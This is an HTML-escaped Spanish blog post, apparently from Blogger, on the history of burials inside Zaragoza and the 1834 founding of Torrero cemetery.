/&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;i&gt;&lt;span&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot;&gt;&lt;span&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot;&gt;&lt;span&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot;&gt;&lt;span&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot;&gt;&lt;span&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot;&gt;&lt;span&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot;&gt;&lt;span&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot;&gt;&lt;span&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot;&gt;&lt;span&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; style=&quot;font-family: helvetica; font-size: large; line-height: 115%;&quot;&gt;¿Sabías que ... los cementerios estuvieron dentro de la ciudad?&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;/h3&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;float: left; margin-left: 1em; text-align: left;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;412&quot; data-original-width=&quot;518&quot; height=&quot;254&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTQnTseY3hTbfnntbYaczsW4hnxjB2h0fA6-1k3jYoqx_ohkrQpRTfBfkUYgHvrXLZRmWOoizm8JInxNLYnijul6KS8ImBcijZnT5Mvlea4QzZNpEpFY6wOUxFmKYlvRGTTWt-A2wBV8u1/s320/Monumento_a_la_Fosa_Com%25C3%25BAn%252C_de_Jos%25C3%25A9_Bueno.jpg&quot; style=&quot;margin-left: auto; margin-right: auto;&quot; width=&quot;320&quot; /&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;Fosa común del Cementerio de Torrero. Zaragoza&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span&gt;&lt;span style=&quot;font-family: arial; line-height: 115%;&quot;&gt;&lt;b&gt;Durante
más de mil años los cementerios estuvieron en la ciudad.&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;span&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot;&gt;
&lt;span&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot;&gt;

&lt;br /&gt;&lt;span&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot;&gt;El concepto de
cementerio tal como lo entendemos hoy, alejado de las poblaciones por medidas
de salubridad, es producto del S.XVIII, del llamado Siglo de las Luces, en el
que la Ilustración propició grandes cambios culturales y sociales y los avances
científicos comenzaron a considerar costumbres insanas los seculares
enterramientos en los recintos urbanos.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;span&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;span&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot;&gt;&lt;span&gt;Es en ese momento cuando la tradición de
“enterrar en sagrado” comenzó a cuestionarse con gran fuerza al relacionarla
con la contaminación de las aguas y el aire, pasando a ser sospechosa de la
propagación de enfermedades y epidemias&lt;b&gt;&lt;sup&gt;&lt;span style=&quot;color: red;&quot;&gt;1&lt;/span&gt;&lt;/sup&gt;&lt;/b&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot;&gt;&lt;br /&gt;La tradición de
“enterrar en sagrado” venía de muy lejos, de los primeros momentos del
cristianismo, pues los fieles cristianos, al contrario que los romanos que
tenían sus cementerios a extramuros&lt;b&gt;, &lt;/b&gt;buscaron
ser enterrados en los lugares de culto o cerca de las sepulturas martiriales con
el fin de obtener, por la cercanía a los ritos religiosos o a los restos de los
mártires, beneficios espirituales para lograr su salvación.&amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;span&gt;

&lt;/span&gt;

&lt;br /&gt;
&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
&lt;span&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;En época visigoda (S.VI),
aunque se siguieron utilizando las necrópolis romanas, se generalizaron los enterramientos
de las altas jerarquías civiles y religiosas en el interior de iglesias y
monasterios, en sus pórticos y claustros, prácticas que aunque fueron prohibidas
en varios concilios lograron ser admitidas, siglos después, en otro concilio
celebrado en Francia (S.IX) en el que se dispuso que los enterramientos se
situasen en torno a las iglesias.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;span&gt;


&lt;/span&gt;&lt;br /&gt;
&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
&lt;/div&gt;
&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;span&gt;
&lt;span&gt;

&lt;/span&gt;




&lt;/span&gt;
&lt;br /&gt;
&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;Nuestra ciudad no fue
ajena a esta costumbre, aunque hay que tener en cuenta que las circunstancias
históricas de la Península fueron diferentes, pues la llegada del Islam en el
año 711 cambió radicalmente la religión y las costumbres.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;span&gt;
&lt;span&gt;
&lt;span&gt;

&lt;/span&gt;
&lt;/span&gt;

&lt;/span&gt;&lt;br /&gt;
&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;Pero hubo también gentes
que mantuvieron su religión cristiana, los mozárabes, que convivieron con los islámicos,
en Sarakusta (Zaragoza) durante los cuatro siglos en los que la ciudad fue musulmana
(714-1118), los mozárabes vivieron relegados en un barrio ubicado en la medina&lt;b&gt;&lt;sup&gt;&lt;span style=&quot;color: red;&quot;&gt;2&lt;/span&gt;&lt;/sup&gt;&lt;/b&gt;,
en torno a la iglesia de Santa María (el Pilar), manteniendo su costumbre
cristiana de “enterrar en sagrado”, pues tenían su propio fosal o cementerio
situado frente a la iglesia, a pesar de que musulmanes y judíos realizaban los
enterramientos fuera del recinto urbano.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;span&gt;
&lt;span&gt;
&lt;span&gt;

&lt;/span&gt;


&lt;/span&gt;


&lt;/span&gt;&lt;br /&gt;
&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
&lt;span&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;span&gt;
&lt;span&gt;
&lt;span&gt;

&lt;/span&gt;


&lt;/span&gt;


&lt;/span&gt;&lt;br /&gt;
&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;Tras la conquista de
Sarakusta por Alfonso El Batallador (1118), la ciudad pasó a ser cristiana; en
ese momento la costumbre de enterrar a los difuntos en el interior de los
templos o junto a ellos estaba ya generalizada en Europa, por lo que tanto la nueva
catedral como cada una de las parroquias instituidas, además de realizar
enterramientos en su interior, construyeron sus propios cementerios adosados a las
iglesias o muy próximos a ellas.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;span&gt;
&lt;span&gt;
&lt;span&gt;

&lt;/span&gt;
&lt;/span&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;Con el paso del tiempo,
los numerosos conventos que se fueron instalando en la ciudad siguieron las
mismas pautas al igual que los hicieron los hospitales&lt;b&gt;&lt;sup&gt;&lt;span style=&quot;color: red;&quot;&gt;3&lt;/span&gt;&lt;/sup&gt;&lt;/b&gt;. Sin embargo, los
musulmanes que se quedaron a vivir en la Zaragoza cristiana, los mudéjares, y los
judíos mantuvieron sus cementerios a extramuros.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;
&lt;span&gt;
&lt;span&gt;

&lt;/span&gt;

&lt;/span&gt;
&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span&gt;&lt;span&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;Gracias
a numerosas noticias y a que la mayoría de esas parroquias medievales siguen
existiendo, podemos rastrear hoy la ubicación de una gran número de esos
cementerios a intramuros, como el ya citado fosal del Pilar, situado delante del
templo en la plaza del mismo nombre.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;span&gt;
&lt;span&gt;

&lt;/span&gt;

&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;float: right; margin-left: 1em; text-align: right;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhbnnIpWsIpX-k3DD0cwvDJhOxz9M3TiTMYuFBG5-VIrbokDjQPMkGojCSSusMRuEQVG80m4d7XEM1g-YhMoMM_HIRO0tkzwGG3f8B7xWdpXGOVqhgrNqbJ0ENmSz8f8QWDkCbgmTBBPRzy/s1600/Oliv%25C3%25A1n.jpg&quot; style=&quot;clear: right; margin-bottom: 1em; margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1075&quot; data-original-width=&quot;800&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhbnnIpWsIpX-k3DD0cwvDJhOxz9M3TiTMYuFBG5-VIrbokDjQPMkGojCSSusMRuEQVG80m4d7XEM1g-YhMoMM_HIRO0tkzwGG3f8B7xWdpXGOVqhgrNqbJ0ENmSz8f8QWDkCbgmTBBPRzy/s320/Oliv%25C3%25A1n.jpg&quot; width=&quot;238&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Oliván (Huesca) Cementerio tras la iglesia&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/span&gt;
&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
&lt;span&gt;&lt;span&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;La vieja tradición de
“enterrar en sagrado” se venía realizando en Zaragoza desde hacía más de mil
años cuando Carlos III prohibió a finales del S.XVIII este tipo de inhumaciones
pues en nuestro país la situación de los templos y cementerios era insostenible
al encontrarse abarrotados de sepulturas que además estaban en las peores
condiciones imaginables. &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;span&gt;
&lt;span&gt;

&lt;/span&gt;

&lt;/span&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;span&gt;
&lt;span&gt;

&lt;/span&gt;

&lt;/span&gt;
&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
&lt;span&gt;&lt;span&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;Esa fue la razón por la
cual y como medida de higiene, Carlos III promulgó la Real Cédula de 3 de abril
de 1787 prohibiendo los enterramientos en los recintos urbanos de toda España y
disponiendo que se construyeran cementerios fuera de las ciudades. Pero no era
fácil convencer a la Iglesia, que temía perder los amplios donativos que
recibía por este motivo, ni a las gentes, que querían ser enterradas como desde
siglos y siglos se venía haciendo.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;span&gt;
&lt;span&gt;

&lt;/span&gt;
&lt;/span&gt;
&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
&lt;span&gt;&lt;span&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;La prohibición desató a
nivel nacional una encendida polémica entre algunos ilustrados partidarios de
esta medida y la gran mayoría de sus detractores encabezada por la Iglesia y seguida
por el pueblo. &amp;nbsp;A pesar de todos los
problemas que acarreaban los enterramientos, la religiosidad y la tradición fueron
más fuertes que la pretendida sanidad y la prohibición no tuvo ningún efecto.
En nuestra ciudad, como en tantas otras, se siguió enterrando en suelo urbano.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;span&gt;
&lt;span&gt;

&lt;/span&gt;

&lt;/span&gt;
&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;span&gt;
&lt;span&gt;

&lt;/span&gt;

&lt;/span&gt;
&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
&lt;span&gt;&lt;span&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;Pero en Zaragoza la
situación se agravó tanto que cuatro años más tarde, en 1791, el Hospital de
Ntra. Sra. de Gracia tuvo que mandar construir un fosal&lt;b&gt;&lt;sup&gt;&lt;span style=&quot;color: red;&quot;&gt;4&lt;/span&gt;&lt;/sup&gt;&lt;/b&gt; a extramuros, en el
camino de La Cartuja, para enterrar allí a los pobres que en él fallecían. Este
cementerio, que aún perdura, tuvo escasísima aceptación, pues al hecho de
romper con la tradición se le sumó su lejanía de la ciudad, de la que lo
separaban cerca de cuatro kilómetros. La resistencia a realizar los
enterramientos en ese lugar fue muy grande tanto que incluso muchos pobres,
cuando enfermaban, se negaban a acudir al hospital por el miedo a si morían en
él, ser enterrados en ese lugar. &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;
&lt;span&gt;

&lt;/span&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;span&gt;

&lt;/span&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
&lt;span&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;Los problemas
persistieron, cada vez eran más graves, por lo que en 1804 Godoy prohibió a
nivel nacional inhumar dentro de los templos, pero una vez más de nada sirvió
la prohibición, únicamente para acrecentar las antipatías que por él mostraba
el pueblo.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;span&gt;

&lt;/span&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
&lt;span&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;Poco tiempo después
estalló la Guerra de la Independencia (1808) y nuestra ciudad sufrió dos terribles
Sitios (1808-1809) en los que las bajas habidas se contaron por decenas de miles,
tanto debidas a la guerra como a las epidemias que de ella se derivaron. &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;span&gt;

&lt;/span&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
&lt;span&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;Cuando finalmente
Zaragoza fue tomada a finales de febrero de 1809, los franceses encontraron la
ciudad llena de cadáveres que yacían por cualquier parte, sobre todo
amontonados a las puertas de las iglesias. Para sanear la ciudad lo antes
posible, dispusieron que los muertos fueran enterrados en fosas comunes a
extramuros, principalmente situadas en ambas márgenes del Ebro. &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;span&gt;

&lt;/span&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;span&gt;

&lt;/span&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
&lt;span&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;Durante los cuatro años
que Zaragoza estuvo bajo el dominio francés, siguiendo las normas impuestas en
Francia, se prohibieron los enterramientos en el interior de las iglesias y se
dictaminó que las inhumaciones se realizaran en el cementerio del camino de La
Cartuja. &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;span&gt;

&lt;/span&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
&lt;span&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;Pero tras la retirada
de las tropas napoleónicas en julio de 1813, la ciudad volvió a sus viejas
costumbres iniciando la reconstrucción de los edificios religiosos más
significativos y siguiendo con la tradición de enterrar en ellos, aunque muchos
estuviesen en ruinas, así como en los cementerios parroquiales.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;span&gt;

&lt;/span&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
&lt;span&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;En los años siguientes se
sucedieron, a nivel nacional, numerosas disposiciones en contra de esto pero la
oposición continuó siendo muy grande y nada definitivo se logró.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;span&gt;

&lt;/span&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;span&gt;

&lt;/span&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
&lt;span&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;Sin embargo, hacia 1830
comenzó a plantearse en Zaragoza la construcción de un cementerio alejado de la
ciudad, en un lugar bien aireado más allá del Canal Imperial de Aragón, en el
Monte de Torrero. En 1832, a la par que se planteaba la nueva construcción, se
dispuso que los enterramientos se hicieran en el ya citado cementerio del
Hospital, situado en el camino de La Cartuja, como ya se había hecho durante el
Trienio Liberal. &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;span&gt;

&lt;/span&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
&lt;span&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;El lugar elegido para
el nuevo cementerio era un terreno de propiedad municipal situado lejos de la
ciudad, a tres kilómetros de la puerta del sur (Puerta de Santa Engracia),
enclavada, en ese momento, al comienzo de lo que hoy es la plaza de Aragón, lo
que causó muchas polémicas. Pero la situación del cementerio del Hospital era
tan extrema que su construcción siguió adelante salvando todos los escollos, el
Ayuntamiento fue quien fundamentalmente pagó su construcción a pesar de su mala
situación financiera, pues las parroquias, a las que se les pidió una
contribución económica proporcional al número de habitantes que albergaba, se
declararon insolventes, apoyadas por la actitud negativa de las instituciones
eclesiásticas que temían perder influencia y poder, únicamente la de San Pablo
realizó su contribución. &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;span&gt;

&lt;/span&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;span&gt;

&lt;/span&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;
&lt;span&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;Finalmente el Cementerio
de Torrero fue inaugurado el 5 de julio de 1834, aunque con esto no terminó la
aversión que los zaragozanos sentían hacia él, situación cambió por completo
ese mismo verano al llegar a Zaragoza la epidemia de cólera morbo, que asolaba
a Europa, causando una mortandad tan grande en la ciudad que no hubo otro
remedio más que utilizarlo. &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;span&gt;

&lt;/span&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;La
tradición&lt;b&gt;&lt;sup&gt;&lt;span style=&quot;color: red;&quot;&gt;5&lt;/span&gt;&lt;/sup&gt;&lt;/b&gt;
de más de mil años de enterrar en el interior de la ciudad, “en sagrado”, acabó
y el Cementerio de Torrero se convirtió en el general de Zaragoza, pero una vez
más los problemas no acabaron ahí, fueron muchos e importantes y se sucedieron a
todo lo largo del S.XIX e incluso del S.XX.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;span&gt;

&lt;/span&gt;
&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;Hoy,
cuando el Cementerio de Torrero ya se acerca a los doscientos años de
existencia, del trazado de aquel primer cementerio de 1834 nada queda, las numerosas
remodelaciones y ampliaciones realizadas a lo largo del tiempo han borrado
todas sus huellas, nada hay de su primitiva disposición.&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: arial;&quot;&gt;_________________________________________________________________________&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; margin-left: 14.2pt; margin-right: 0cm; margin-top: 0cm; margin: 0cm 0cm 0cm 14.2pt; text-align: justify; text-indent: -14.2pt;&quot;&gt;
